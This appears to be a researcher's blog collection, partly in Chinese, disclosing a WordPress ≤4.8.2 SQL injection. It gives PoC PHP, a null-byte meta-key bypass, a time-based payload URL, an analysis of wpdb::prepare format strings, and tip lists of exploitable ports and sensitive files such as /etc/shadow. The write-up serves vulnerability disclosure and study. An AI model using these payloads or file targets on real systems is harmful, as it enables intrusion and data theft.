Wordpress <= 4.8.2 SQL Injection POC

Author: Ambulong

I found this vulnerability after reading slavco’s post, and reported it to Wordpress Team via Hackerone on Sep. 2nd, 2017. But, unfortunately, WordPress team didn’t pay attention to this report too.

# SQL Injection Details

# POC Details

If you already found out the potential sqli in wordpress, you would know that we need to insert our playload into _thumbnail_id meta in order to launch the sqli attack.

## Wordpress ≤ 4.7.4 Lack of capability checks for post meta data in the XML-RPC API

This vulnerability have mentioned in slavco’s post: Wordpress SQLi

Reference: WordPress 4.7.5 Security and Maintenance Release

POC

1
2
3
4
5
6
$usr = 'author';
$pwd = 'author';
$xmlrpc = 'http://local.target/xmlrpc.php';
$client = new IXR_Client($xmlrpc);
$content = array("ID" => 6, 'meta_input' => array("_thumbnail_id"=>"xxx"));
$res = $client->query('wp.editPost',0, $usr, $pwd, 6/*post_id*/, $content);

## Wordpress ≤ 4.8.2 POST Meta Protection Bypass

A trick of Mysql

1). A normal query for _thumbnail_id

1
2
3
4
5
6
7
mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id';
+---------+---------+----------------+------------+
| meta_id | post_id | meta_key | meta_value |
+---------+---------+----------------+------------+
| 4 | 4 | _thumbnail_id | TESTC |
+---------+---------+----------------+------------+
1 row in set (0.00 sec)

2). Change the meta_value of _thumbnail_id to “\x00_thumbnail_id”

1
2
3
mysql> update wp_postmeta set meta_key = concat(0x00,'TESTC') where meta_value = '_thumbnail_id';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0 Changed: 0 Warnings: 0

3). Query by _thumbnail_id again

1
2
3
4
5
6
7
mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id';
+---------+---------+----------------+------------+
| meta_id | post_id | meta_key | meta_value |
+---------+---------+----------------+------------+
| 4 | 4 | _thumbnail_id | TESTC |
+---------+---------+----------------+------------+
1 row in set (0.00 sec)

POST Meta Protection Bypass

This is the is_protected_meta(./wp-includes/meta.php) method used to check the validation of post meta:

1
2
3
4
5
6
7
8
9
10
11
12
13
function is_protected_meta( $meta_key, $meta_type = null ) {
$protected = ( '_' == $meta_key[0] );
/**
* Filters whether a meta key is protected.
*
* [@since](/since) 3.2.0
*
* [@param](/param) bool $protected Whether the key is protected. Default false.
* [@param](/param) string $meta_key Meta key.
* [@param](/param) string $meta_type Meta type.
*/
return apply_filters( 'is_protected_meta', $protected, $meta_key, $meta_type );
}

The code just checks the first character of $meta_key, from the mysql trick, we can use %00_ to bypass it.

POC

  1. Add New Custom Field, Name:_thumbnail_id Value:55 %1$%s or sleep(10)#
  2. Click Add Custom Field button.
  3. Modify the HTTP request, _thumbnail_id => %00_thumbnail_id
  4. Launch the attack. Visit /wp-admin/edit.php?action=delete&_wpnonce=xxx&ids=55 %1$%s or sleep(10)#.

Time-line:

  • Sep. 2th - I report the vulnerability to WP Team via Hackerone.
  • Sep. 6th - WP Team ask for details.
  • Sep. 6th - I post the details.
  • Sep. 6th to now - I haven’t received any response yet…

Wordpress POST META_NAME校验绕过

作者:Ambulong

Wordpress中的POST META为文章自定义栏目/字段,就如一篇文章中会有标题作者等字段,但是对于有些主题/插件来说,文章中的自有字段显得不够用,就需要用到自定义栏目/字段

(该操作的位置在添加/编辑文章,在文本编辑框下方的自定义栏目,如果没有找到自定义栏目,需要在右上角的显示选项内将自定义栏目勾选。)

自定义栏目/字段的数据以meta_key(字段/栏目名)->meta_value(值)的形式存放在wp_postmeta表内。以下划线开头的meta_key(字段/栏目名)被认为是保留字段,不允许用户添加。

本文将介绍如何绕过Wordpress的meta_key检查,添加字段/栏目名以下划线开头的自定义栏目/字段

第一章 Wordpress ≤ 4.7.4 XML-RPC API POST META 未校验漏洞

参考内容:WordPress 4.7.5 Security and Maintenance Release

1.1 POC

1
2
3
4
5
6
$usr = 'author';
$pwd = 'author';
$xmlrpc = 'http://local.target/xmlrpc.php';
$client = new IXR_Client($xmlrpc);
$content = array("ID" => 6, 'meta_input' => array("_thumbnail_id"=>"xxx"));
$res = $client->query('wp.editPost',0, $usr, $pwd, 6/*post_id*/, $content);

POC来自 Wordpress SQLi — PoC by slavco

1.2 漏洞分析

补丁位置:wp-includes/class-wp-xmlrpc-server.php

漏洞分析

根据补丁的内容,是将传入的$content_struct内容进行了白名单限制,同时也过滤了POC中的meta_input

1.先看修复后的_insert_post函数中我们关注代码(文件:wp-includes/class-wp-xmlrpc-server.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
protected function _insert_post( $user, $content_struct ) {
$defaults = array(
...//ignore
'custom_fields' => null,
'terms_names' => null,
'terms' => null,
'sticky' => null,
'enclosure' => null,
'ID' => null,
);
$post_data = wp_parse_args( array_intersect_key( $content_struct, $defaults ), $defaults );
...//ignore
if ( isset( $post_data['custom_fields'] ) )
$this->set_custom_fields( $post_ID, $post_data['custom_fields'] );
...//ignore
$post_ID = $update ? wp_update_post( $post_data, true ) : wp_insert_post( $post_data, true );
if ( is_wp_error( $post_ID ) )
return new IXR_Error( 500, $post_ID->get_error_message() );
if ( ! $post_ID )
return new IXR_Error( 401, __( 'Sorry, your entry could not be posted.' ) );
return strval( $post_ID );
}

按正常的业务流程,POST META应当是从custom_fields中获取,之后带入set_custom_fields函数中,而且set_custom_fields函数会对meta_key进行检查,不应当存在问题。

但是在wp_update_post函数与wp_insert_post函数中,会从$post_data[‘meta_input’]中取出数据,不经检查直接添加到自定义栏目/字段中。

2.函数wp_insert_post中我们关注的代码(文件:wp-includes/post.php

1
2
3
4
5
6
7
8
9
10
11
12
13
function wp_insert_post( $postarr, $wp_error = false ) {
...//ignore
$postarr = wp_parse_args($postarr, $defaults);
unset( $postarr[ 'filter' ] );
$postarr = sanitize_post($postarr, 'db');
...//ignore
if ( ! empty( $postarr['meta_input'] ) ) {
foreach ( $postarr['meta_input'] as $field => $value ) {
update_post_meta( $post_ID, $field, $value );
}
}
...//ignore
}

第二章 Wordpress ≤ 4.8.2 POST META 校验绕过漏洞

该章节更新时间:2017年11月09日

吐槽:该缺陷于9月初报告给WP Team,然而2个多月过去了仍然只有9月5号的一条回复。:(

Wordpress目前最新版为4.8.3,建议大家更新。

2.1 一个MySQL的trick

1). 正常的条件查询语句

1
2
3
4
5
6
7
mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id';
+---------+---------+----------------+------------+
| meta_id | post_id | meta_key | meta_value |
+---------+---------+----------------+------------+
| 4 | 4 | _thumbnail_id | TESTC |
+---------+---------+----------------+------------+
1 row in set (0.00 sec)

2). 现在我们将_thumbnail_id修改成”\x00_thumbnail_id”

1
2
3
mysql> update wp_postmeta set meta_key = concat(0x00,'TESTC') where meta_value = '_thumbnail_id';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0 Changed: 0 Warnings: 0

3). 再次执行第一步的查询

1
2
3
4
5
6
7
mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id';
+---------+---------+----------------+------------+
| meta_id | post_id | meta_key | meta_value |
+---------+---------+----------------+------------+
| 4 | 4 | _thumbnail_id | TESTC |
+---------+---------+----------------+------------+
1 row in set (0.00 sec)

我们可以发现依然可以查询出修改后的数据。

2.2 POST META 校验绕过

我们来看下检查meta_key的代码,文件./wp-includes/meta.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function is_protected_meta( $meta_key, $meta_type = null ) {
$protected = ( '_' == $meta_key[0] );
/**
* Filters whether a meta key is protected.
*
* [@since](/since) 3.2.0
*
* [@param](/param) bool $protected Whether the key is protected. Default false.
* [@param](/param) string $meta_key Meta key.
* [@param](/param) string $meta_type Meta type.
*/
return apply_filters( 'is_protected_meta', $protected, $meta_key, $meta_type );
}

is_protected_meta函数只检查了$meta_key的第一个字符是否以_开头。我们有了2.1的MySQL trick,想要绕过meta_key的检查就显得容易多了。

2.3 POC

在添加自定义栏目/字段时抓包,将_thumbnail_id替换为%00_thumbnail_id。

参考

Wordpress SQL注入分析(二)

作者:Ambulong

在上一篇文章 Wordpress SQL注入分析(一) 中,我们分析了Wordpress中的prepare函数在什么情况下会产生SQL注入漏洞。本篇文章将分析Wordpress中的一处SQL注入。

当前最新版:Wordpress 4.8.1

第三章:发现Wordpress中的SQL注入

3.1 SQL注入分析

在delete_metadata函数(文件:/wp-includes/meta.php)中存在如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function delete_metadata($meta_type, $object_id, $meta_key, $meta_value = '', $delete_all = false) {
global $wpdb;
if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) && ! $delete_all ) {
return false;
}
$object_id = absint( $object_id );
if ( ! $object_id && ! $delete_all ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
$type_column = sanitize_key($meta_type . '_id');
$id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id';
// expected_slashed ($meta_key)
$meta_key = wp_unslash($meta_key);
$meta_value = wp_unslash($meta_value);
$check = apply_filters( "delete_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $delete_all );
if ( null !== $check )
return (bool) $check;
$_meta_value = $meta_value;
$meta_value = maybe_serialize( $meta_value );
$query = $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s", $meta_key );
if ( !$delete_all )
$query .= $wpdb->prepare(" AND $type_column = %d", $object_id );
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value )
$query .= $wpdb->prepare(" AND meta_value = %s", $meta_value );
$meta_ids = $wpdb->get_col( $query );
if ( !count( $meta_ids ) )
return false;
if ( $delete_all ) {
$value_clause = '';
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
=> $value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
}
=> $object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );
}
...//ignore
}

我们来看下关键部分代码:

1
2
3
4
5
6
7
if ( $delete_all ) {
$value_clause = '';
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
=> $value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
}
=> $object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );
}

按我们上一篇文章的分析,若$meta_value可控,此处就存在SQL注入漏洞。而$meta_value变量是作为参数从外部传进来的,所以我们需要查找调用到delete_metadata函数,且第四个参数可控的地方。

我们此处直接选用@slavco文章中的wp_delete_attachment函数(文件:/wp-includes/post.php),代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function wp_delete_attachment( $post_id, $force_delete = false ) {
global $wpdb;
if ( !$post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) ) )
return $post;
if ( 'attachment' != $post->post_type )
return false;
if ( !$force_delete && EMPTY_TRASH_DAYS && MEDIA_TRASH && 'trash' != $post->post_status )
return wp_trash_post( $post_id );
delete_post_meta($post_id, '_wp_trash_meta_status');
delete_post_meta($post_id, '_wp_trash_meta_time');
$meta = wp_get_attachment_metadata( $post_id );
$backup_sizes = get_post_meta( $post->ID, '_wp_attachment_backup_sizes', true );
$file = get_attached_file( $post_id );
if ( is_multisite() )
delete_transient( 'dirsize_cache' );
do_action( 'delete_attachment', $post_id );
wp_delete_object_term_relationships($post_id, array('category', 'post_tag'));
wp_delete_object_term_relationships($post_id, get_object_taxonomies($post->post_type));
// Delete all for any posts.
=> delete_metadata( 'post', null, '_thumbnail_id', $post_id, true );
...//ignore
}

关键代码:

1
delete_metadata( 'post', null, '_thumbnail_id', $post_id, true );

里面的$post_id同样从外部传入,所以我们继续查找调用到wp_delete_attachment函数,且第一个参数可控的地方。

在文件/wp-admin/edit.php中有个比较明显的调用点,且$post_id(即:wp_delete_attachment函数的第一个参数)可控。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
case 'delete':
$deleted = 0;
foreach ( (array) $post_ids as $post_id ) {
$post_del = get_post($post_id);
if ( !current_user_can( 'delete_post', $post_id ) )
wp_die( __('Sorry, you are not allowed to delete this item.') );
if ( $post_del->post_type == 'attachment' ) {
=> if ( ! wp_delete_attachment($post_id) )
wp_die( __('Error in deleting.') );
} else {
if ( !wp_delete_post($post_id) )
wp_die( __('Error in deleting.') );
}
$deleted++;
}
$sendback = add_query_arg('deleted', $deleted, $sendback);
break;

3.2 利用条件分析

我们首先简单地整理下相关文件/函数的调用过程与调用条件。

1. 文件:/wp-admin/edit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
...//ignore
$doaction = $wp_list_table->current_action();
if ( $doaction ) {
check_admin_referer('bulk-posts');
...//ignore
} elseif ( isset( $_REQUEST['media'] ) ) {
$post_ids = $_REQUEST['media'];
} elseif ( isset( $_REQUEST['ids'] ) ) {
$post_ids = explode( ',', $_REQUEST['ids'] );
} elseif ( !empty( $_REQUEST['post'] ) ) {
$post_ids = array_map('intval', $_REQUEST['post']);
}
if ( !isset( $post_ids ) ) {
wp_redirect( $sendback );
exit;
}
switch ( $doaction ) {
...//ignore
case 'delete':
$deleted = 0;
foreach ( (array) $post_ids as $post_id ) {
$post_del = get_post($post_id);
if ( !current_user_can( 'delete_post', $post_id ) )
wp_die( __('Sorry, you are not allowed to delete this item.') );
if ( $post_del->post_type == 'attachment' ) {
if ( ! wp_delete_attachment($post_id) )
wp_die( __('Error in deleting.') );
} else {
if ( !wp_delete_post($post_id) )
wp_die( __('Error in deleting.') );
}
$deleted++;
}
...//ignore

需满足条件:

  • $doaction = $wp_list_table->current_action() = ‘delete’
    即:$_REQUEST[‘action’] = ‘delete’
  • 通过check_admin_referer(‘bulk-posts’)
    检查$_REQUEST[‘_wpnonce’]
  • $post_ids = $_REQUEST[‘media’] = ‘%1$%s abc’
    传入测试注入字符串
  • current_user_can( ‘delete_post’, $post_id ) == true
    当前用户是否有删除该文章权限
  • $post_del->post_type == ‘attachment’
    该文章类型为attachment,可通过添加媒体功能添加

2. 文件:/wp-includes/post.php

1
2
3
4
5
6
7
8
9
10
11
12
...//ignore
function wp_delete_attachment( $post_id, $force_delete = false ) {
global $wpdb;
if ( !$post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) ) )
return $post;
if ( 'attachment' != $post->post_type )
return false;
if ( !$force_delete && EMPTY_TRASH_DAYS && MEDIA_TRASH && 'trash' != $post->post_status )
return wp_trash_post( $post_id );
...//ignore
delete_metadata( 'post', null, '_thumbnail_id', $post_id, true );
...//ignore

需满足条件:

  • $post_id对应的文章存在
    因为有类型转换,所以可以用$post_id = '123 %1$%s abc'绕过。(转换为整数后$post_id = 123
  • $post_id对应的文章类型为attachment

3. 文件:/wp-includes/meta.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
...//ignore
function delete_metadata($meta_type, $object_id, $meta_key, $meta_value = '', $delete_all = false) {
global $wpdb;
if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) && ! $delete_all ) {
return false;
}
...//ignore
$meta_key = wp_unslash($meta_key);
$meta_value = wp_unslash($meta_value);
$check = apply_filters( "delete_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $delete_all );
if ( null !== $check )
return (bool) $check;
$_meta_value = $meta_value;
$meta_value = maybe_serialize( $meta_value );
$query = $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s", $meta_key );
if ( !$delete_all )
$query .= $wpdb->prepare(" AND $type_column = %d", $object_id );
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value )
$query .= $wpdb->prepare(" AND meta_value = %s", $meta_value );
$meta_ids = $wpdb->get_col( $query );
if ( !count( $meta_ids ) )
return false;
if ( $delete_all ) {
$value_clause = '';
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
$value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
}
$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );
}
...//ignore

需满足条件:

  • “SELECT meta_id FROM wp_postmeta WHERE meta_key = ‘_thumbnail_id’ AND meta_value = ‘xxx’”存在
    即:需要使得wp_postmeta表内的_thumbnail_id的内容与我们的SQL语句一样(即内容为’123 %2$%s abc’)。

wp_postmeta表内的meta_key和meta_value字段是可通过写文章功能内的自定义栏目添加的。但是禁止添加名称以下划线开头的自定义栏目,所以正常情况下我们无法添加_thumbnail_id栏目。

关于如果绕过下划线检查添加post meta,请见下一篇文章:

3.3 SQL注入漏洞利用

  1. 添加媒体(/wp-admin/media-new.php),并记住媒体ID(这里的ID是55)。
添加媒体
  1. 获取_wpnonce。
    打开/wp-admin/edit.php?post_type=post,找到posts-filter内的_wpnonce(这里的_wpnonce是301ee97c09)
添加媒体
  1. 添加/修改POST META,使存在meta_key为’_thumbnail_id’的meta_value为'55 %1$%s or sleep(10)#'

  2. 访问/wp-admin/edit.php?action=delete&_wpnonce=301ee97c09&ids=55 %1$%s or sleep(10)#,触发SQL注入漏洞

Wordpress SQL注入分析(一)

作者:Ambulong

第一章: sprintf/vsprintf 中的 argument numbering/swapping

1.1 函数间的区别

在PHP中,我们主要通过sprintf函数和vsprintf函数来格式化字符串,同时会对参数进行类型的转换。这两个函数的区别在于sprintf函数在第一个参数之后可接收多个不同类型参数,vsprintf的第一个参数之后只接收一个数组参数(即:第二个参数只能是数组)。

sprintf函数

1
string sprintf ( string $format [, mixed $args [, mixed $... ]] )

vsprintf函数

1
string vsprintf ( string $format , array $args )

1.2 format参数

sprintf/vsprintf函数的第一个参数$format指定了如何格式化后面的参数。
常见的格式化类型如下:

标识 类型
%s 字符串
%d 整数
%f 浮点数

以下两个例子的输出结果是一样的

1
2
3
4
//例一
echo sprintf("str:%s int:%d float:%f", '123.123aa', '123.123aa', '123.123aa');
//例二
echo vsprintf("str:%s int:%d float:%f", array('123.123aa', '123.123aa', '123.123aa'));

输出结果:

1
str:123.123aa int:123 float:123.123000

1.3 format参数延伸

sprintf/vsprintf函数还可以用来将字符串自动补位,如:

例一:”123”用0补齐5位变成”00123”:

1
echo sprintf("%05d", '123');

0表示要补上的数字为0,5表示的是位数,d表示类型为整数。

例二:”123”用.补齐5位变成”..123”:

1
echo sprintf("%'.5d", '123');

‘.表示要补上的字符为。(字符需要加上’),5表示的是位数,d表示类型为整数。

需要了解更多关于format的描述,请参见 sprintf()

Argument numbering/swapping

sprintf/vsprintf的格式化字符串支持Argument numbering/swapping(中文直译:参数交换),即可以指定格式化标识表示的是第几个参数。
例一:

1
2
echo sprintf('%2$s %3$s %1$s', 'a1', 'a2', 'a3');
//输出:a2 a3 a1

例二:

1
2
echo sprintf('%s %s %1$s', 'a1', 'a2', 'a3');
//输出:a1 a2 a1

例三:

1
2
echo sprintf('%s %s %1$\'.5s', 'a1', 'a2', 'a3');
//输出:a1 a2 ...a1

注:Chapter 1由@Ambulong与@乐清小俊杰共同完成。

第二章: wpdb类中的prepare()函数

在Wordpress的数据库操作类wpdb(文件: /wp-includes/wp-db.php)中有一个prepare()函数,该函数主要用来对将要执行SQL语句进行预处理,如:

1
$wpdb->prepare( "SELECT * FROM `table` WHERE `column` = %s AND `field` = %d", 'foo', 1337 );

以上例子将会返回下列字符串:

1
SELECT * FROM `table` WHERE `column` = 'foo' AND `field` = 1337"

但是该函数没有并没有对传入的$query参数进行严格的过滤,如果$query参数内容或部分内容可控,就可能导致SQL注入。

prepare函数的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function prepare( $query, $args ) {
if ( is_null( $query ) )
return;
// This is not meant to be foolproof -- but it will catch obviously incorrect usage.
if ( strpos( $query, '%' ) === false ) {
_doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' );
}
$args = func_get_args();
array_shift( $args );
// If args were passed as an array (as in vsprintf), move them up
if ( isset( $args[0] ) && is_array($args[0]) )
$args = $args[0];
$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
$query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
$query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
array_walk( $args, array( $this, 'escape_by_ref' ) );
return @vsprintf( $query, $args );
}

该函数主要做了以下几件工作:

1). 判断$args[0]是否数组,如果是则使$args=$args[0]。
2). 将$query中’%s’替换为%s。
3). 将$query中”%s”替换为%s。
4). 再将%s替换为’%s’。
5). 将$args用mysql_real_escape_string转义。
6). 返回vsprintf( $query, $args )。

经分析,该函数可能导致两个问题:

1). 逻辑漏洞

若程序中存在类似下列的代码:

1
$query = $wpdb->prepare( 'update articles set title = %s where id = %d and uid = %d', $_GET['title'], $_GET['id'], get_current_uid());

按正常的业务逻辑,prepare将返回vsprintf( 'update articles set title = %s where id = %d and uid = %d', array($_GET['title'], $_GET['id'], get_current_uid() )的执行结果。
但是此时format后的第一个参数($_GET[‘title’])我们完全可控,如果我们使第一个参数为数组,我们就可以控制用户ID,如:$_GET[‘title’] = array(‘title’, ‘id’ ,’xxx’),此时prepare将返回vsprintf( 'update articles set title = %s where id = %d and uid = %d', array('title', 'id' ,'xxx')
此时,一个越权漏洞就产生了。

2). SQL注入

若程序中存在类似下列的代码:

1
2
3
$append = $wpdb->prepare( 'and tag = %s', $_GET['tag']);
$query = $wpdb->prepare( 'select * from articles where uid = %d and cid = %d '.$append, get_current_uid(), $_GET['cid']);
mysql_query($query);

我们使得tag=%s,则$append="and tag = '%sa'"。此时的$query将为$wpdb->prepare( 'select * from articles where uid = %d and cid = %d and tag = \'%s\'', get_current_uid(), $_GET['cid']),经prepare处理后等同于$query = vsprintf('select * from articles where uid = %d and cid = %d and tag = \'\'%s\'a\'', array(get_current_uid(), $_GET['cid']));
此时的%s将处于单引号之外,如果%s可控,将导致SQL注入。此时,就要用到前面1.3部分提到的Argument numbering/swapping,我们可以使tag=%2$s,但是此时不存在%s,经prepare函数处理后,$query = vsprintf('select * from articles where uid = %d and cid = %d and tag = \'%2$s\'', array(get_current_uid(), $_GET['cid']));,虽然此时的%2$s经vsprintf函数格式化后将等于$_GET['cid']的值,但是参数被包含在引号之内,无法导致SQL注入。

这时我们就需要用到1.3内的字符串自动补位。我们使tag=%2$%s abc,经prepare处理后$query = vsprintf('select * from articles where uid = %d and cid = %d and tag = \'%2$\'%s\' abc\'', array(get_current_uid(), $_GET['cid']));。此时的关键部分为tag = '%2$'%s' abc',此时的%2$'%s为格式化标识,里面2代表第二个参数(即$_GET['cid']),’%表示用%填充,s表示格式化为字符串,默认的填充位数为0。

范例:

1
2
3
4
5
6
echo sprintf("tag = '%1$'%s' abc'", '123');
//输出tag = '123' abc'
echo sprintf("tag = '%1$'%0s' abc'", '123');
//输出tag = '123' abc'
echo sprintf("tag = '%1$'%5s' abc'", '123');
//输出tag = '%%123' abc'

此时的abc将在单引号外,且用户可控,即产生了SQL注入漏洞。

参考链接

SSRF And URL Related TIPS

Author: Ambulong

SSRF Related Tips

Vulnerabilities

Exploits

Tools

Posts & Reference

Local Privilege Escalation Tips

Author: Ambulong

PHP SESSION

  • phpMyAdmin
  • ownCloud

PHP Disable Functions Bypass

  • Shellshock(CVE-2014-6271)
  • Imagemagick
  • Ghostscript
  • FFmpeg

Port

  • 1099 - Java RMI (Java Deserialization RCE)
  • 2375 - Docker Remote API
  • 6379 - Redis
  • 8161 - ActiveMQ (CVE-2016-3088)
  • 9000 - PHP-CGI/FastCGI RCE
  • 9001 - Supervisord (CVE-2017-11610)
  • 9200 - Elasticsearch
  • 11211 - Memcached
  • 27017 - MongoDB
  • 27018 - MongoDB
  • 27019 - MongoDB

Service

  • Apache Tomcat

PATH

  • PHP SESSION SAVE PATH
    • /tmp
    • /var/lib/php/
    • /var/lib/php5/
    • /var/lib/php/sessions/
    • /var/lib/php5/sessions/
  • NGINX CONFIG
    • /usr/local/nginx/conf/nginx.conf
    • /usr/local/nginx/nginx.conf
    • /etc/nginx/nginx.conf
  • APACHE CONFIG
    • /etc/httpd/conf/httpd.conf
    • /usr/local/apache/conf/httpd.conf
    • /usr/local/apache2/conf/httpd.conf
    • /etc/httpd/conf.d
    • /etc/apache2/conf/httpd.conf
    • /etc/apache2/httpd.conf
    • /etc/apache2/sites-available/000-default.conf
    • /etc/apache2/sites-enabled/000-default.conf
    • /apps/apache/conf/httpd.conf
    • /apps/apache2/conf/httpd.conf
    • /etc/httpd/conf.d/vhosts.conf
  • PHP INI
    • /etc/php.ini
    • /etc/php/7.0/cli/php.ini
    • /etc/php/7.0/fpm/php.ini
    • /etc/php5/apache2/php.ini
    • /etc/php5/cli/php.ini
    • /usr/local/php/etc/php.ini
    • /usr/local/Zend/etc/php.ini
    • /usr/local/php/lib/php.ini
  • OTHER
    • /etc/passwd
    • /etc/shadow
    • /etc/group
    • /etc/gshadow
    • /etc/rc.local
    • /etc/issue
    • /etc/issue.net
    • /proc/version
    • /proc/self/environ
    • /etc/sysconfig/network-scripts/ifcfg-eth0
    • /etc/init.d/httpd
    • /etc/init.d/mysqld
    • /etc/syslog.conf
    • /var/log/yum.log
    • /etc/sysconfig/iptables-config
    • /var/log/cron
    • .bash_history
    • .mysql_history
    • .viminfo
    • /etc/vsftpd/vsftpd.conf
    • /etc/logrotate.d/vsftpd.log